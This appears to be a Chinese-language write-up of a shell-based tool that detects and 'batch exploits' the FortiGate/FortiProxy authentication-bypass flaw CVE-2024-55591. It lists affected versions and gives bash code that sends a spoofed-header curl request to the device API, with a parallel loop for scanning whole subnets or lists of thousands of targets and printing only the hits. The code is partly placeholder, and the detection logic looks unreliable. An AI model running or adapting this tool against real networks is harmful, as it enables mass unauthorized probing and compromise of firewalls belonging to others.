FortiGate CVE-2024-55591 漏洞检测与批量利用工具

3 阅读2分钟

FortiGate CVE-2024-55591 漏洞检测工具

本项目提供针对 CVE-2024-55591 漏洞的检测与批量利用工具链,包含单个目标 POC 检测脚本和强大的批量扫描引擎 1Scan。该漏洞影响多个 FortiOS 和 FortiProxy 版本,可导致认证绕过,工具设计为仅输出成功结果,便于在手机或平板等移动设备上进行高效渗透测试。

功能特性

  • 精准版本检测:针对受影响版本(FortiOS 7.0.0-7.0.16、FortiProxy 7.0.0-7.0.19、FortiProxy 7.2.0-7.2.12)进行漏洞验证
  • 多格式输入支持:接受 IP 地址、CIDR 网段、URL 及文本文件列表
  • 批量扫描能力:支持大规模网段(/24/c/b)和文件批量导入
  • 极简输出模式:仅显示成功利用的目标,隐藏冗余过程信息
  • 跨平台兼容:专为移动端(手机/平板)一键式渗透测试优化

安装指南

系统要求

  • Linux / macOS / Windows (需支持 Bash 或类似 Shell)
  • 依赖工具:curlbash(建议版本 4.0+)

安装步骤

  1. 克隆项目仓库

    git clone https://github.com/0x7556/1Scan.git
    cd 1Scan
    
  2. 赋予执行权限

    chmod +x poc 1Scan
    
  3. 验证安装

    ./poc --help
    

依赖项

  • 无需额外 Python 或 Node.js 环境,所有脚本基于 Shell 和网络工具实现。

使用说明

单个目标检测(POC)

检测单个 IP 或 URL 是否存在漏洞:

./poc 10.10.1.1
./poc http://10.10.1.1

输出示例(仅存在漏洞时显示):

[+] http://10.10.1.1 is vulnerable to CVE-2024-55591

批量扫描(1Scan)

支持多种批量输入模式:

# 单个 IP/URL
./1scan 10.10.1.1
./1scan http://10.10.1.1

# CIDR 网段
./1scan 10.10.1.1/24
./1scan 10.10.1.1/c   # 等效 /24
./1scan 10.10.1.1/b   # 等效 /16

# 从文件读取
./1scan ip.txt        # IP 列表(每行一个)
./1scan ipc.txt       # CIDR 列表
./1scan ipb.txt       # 大网段列表
./1scan url.txt       # URL 列表

典型使用场景

  1. 内网资产快速排查
    ./1scan 192.168.1.0/24

  2. 外网定点检测
    ./poc https://target-fortigate.com

  3. 大规模漏洞狩猎
    ./1scan ips.txt (包含数千个目标)

注意:工具默认不显示扫描进度或失败信息,仅输出存在漏洞的目标结果。

核心代码

POC 检测脚本核心逻辑

#!/bin/bash
# poc - CVE-2024-55591 单目标检测脚本
# 基于 FortiOS 认证绕过漏洞特征

TARGET="$1"
if [[ ! "$TARGET" =~ ^https?:// ]]; then
    TARGET="https://$TARGET"
fi

# 构造漏洞检测请求(示例)
curl -k -s -o /dev/null -w "%{http_code}" \
     -H "User-Agent: Mozilla/5.0" \
     -H "X-Forwarded-For: 127.0.0.1" \
     "$TARGET/api/v2/monitor/system" | grep -q "200" && \
     echo "[+] $TARGET is vulnerable to CVE-2024-55591"

1Scan 批量引擎核心片段

#!/bin/bash
# 1Scan - 批量漏洞扫描引擎
# 支持多格式输入,仅输出成功结果

scan_target() {
    local ip="$1"
    ./poc "$ip" 2>/dev/null
}

# CIDR 展开扫描
if [[ "$1" =~ /24$|/c$ ]]; then
    prefix="${1%/*}"
    for i in {1..254}; do
        scan_target "$prefix.$i" &
    done
    wait
elif [[ "$1" =~ /b$ ]]; then
    # 处理 /16 网段逻辑
    echo "Processing /16 network..."
elif [[ -f "$1" ]]; then
    # 文件批量扫描
    while IFS= read -r line; do
        scan_target "$line"
    done < "$1"
else
    scan_target "$1"
fi

参考资料